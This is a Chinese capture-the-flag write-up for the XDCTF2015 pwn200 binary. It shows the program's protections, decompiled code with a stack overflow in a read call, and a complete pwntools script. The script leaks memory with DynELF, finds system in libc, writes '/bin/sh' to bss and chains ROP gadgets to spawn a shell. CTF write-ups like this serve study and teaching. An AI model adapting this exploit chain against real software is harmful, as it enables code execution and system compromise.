Pwn

XDCTF2015之pwn200

DynELF实现无libc利用

Posted by Chris on June 19, 2018

0x00 代码分析

检查保护,只开启了NX

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssize_t sub_8048484()
{
  char buf;   #[esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

int __cdecl main()
{
  int buf;   #[esp+2Ch] [ebp-6Ch]
  int v2;   #[esp+30h] [ebp-68h]
  int v3;   #[esp+34h] [ebp-64h]
  int v4;   #[esp+38h] [ebp-60h]
  int v5;   #[esp+3Ch] [ebp-5Ch]
  int v6;   #[esp+40h] [ebp-58h]
  int v7;   #[esp+44h] [ebp-54h]

  buf = 1668048215;
  v2 = 543518063;
  v3 = 1478520692;
  v4 = 1179927364;
  v5 = 892416050;
  v6 = 663934;
  memset(&v7, 0, 0x4Cu);
  setbuf(stdout, (char *)&buf);
  write(1, &buf, strlen((const char *)&buf));
  sub_8048484();
  return 0;
}

汇编代码(关键函数sub_8048484)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:08048484 sub_8048484     proc near               ; CODE XREF: main+A1↓p
.text:08048484
.text:08048484 buf             = byte ptr -6Ch
.text:08048484
.text:08048484 ; __unwind {
.text:08048484                 push    ebp
.text:08048485                 mov     ebp, esp
.text:08048487                 sub     esp, 88h
.text:0804848D                 mov     eax, ds:stdin
.text:08048492                 lea     edx, [ebp+buf]
.text:08048495                 mov     [esp+4], edx    ; buf
.text:08048499                 mov     [esp], eax      ; stream
.text:0804849C                 call    _setbuf
.text:080484A1                 mov     dword ptr [esp+8], 100h ; nbytes
.text:080484A9                 lea     eax, [ebp+buf]
.text:080484AC                 mov     [esp+4], eax    ; buf
.text:080484B0                 mov     dword ptr [esp], 0 ; fd
.text:080484B7                 call    _read
.text:080484BC                 leave
.text:080484BD                 retn
.text:080484BD ; }   #starts at 8048484
.text:080484BD sub_8048484     endp

明显sub_8048484()里read函数导致buf溢出

0x01 漏洞利用

该程序无cookie,存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了,只简要说一下借助DynELF实现利用的要点:

先用write函数Memleak出目标主机systemAddr(leak函数里面对接收数据的处理尤其重要),再将/bin/sh写入bss段,用三个pop ret ROP调用system函数拿下shell

0x02 脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
context(os='linux', log_level='debug')
p = process("./pwn200")
elf = ELF("./pwn200")
writeplt = elf.symbols['write']
readplt = elf.symbols['read']
main_address =0x080484BE      #调用main函数
bss_address =0x0804a020    #bss段,用来写入“/bin/sh\0”
def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(main_address)
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data= p.recvuntil("XDCTF2015~!\n")
  data=data.split('Welcome')[0]
  print "%#x => %s" % (address, (data or '').encode('hex'))
  return data


p.recvline()
dynelf = DynELF(leak, elf=ELF("./pwn200"))
systemAddress = dynelf.lookup("system", "libc") 
print "systemAddress:=====", hex(systemAddress)


ppprAddress = 0x0804856c  #连续3次pop的ROP
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bss_address)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(main_address) + p32(bss_address)

p.send(payload1)
p.send('/bin/sh\x00')

p.interactive()

0x03 总结

最开始我在leak函数里面,反复调用sub_8048484(),避免接收 “Welcome to XDCTF2015~!” 这个字符串,但是发现这样找到system地址返回后调用时可能堆栈出现了点问题,如果要这样用的话可以在找到地址后覆盖main函数以平衡栈空间,再进行下一步。更要善于观察栈空间结构。

文件下载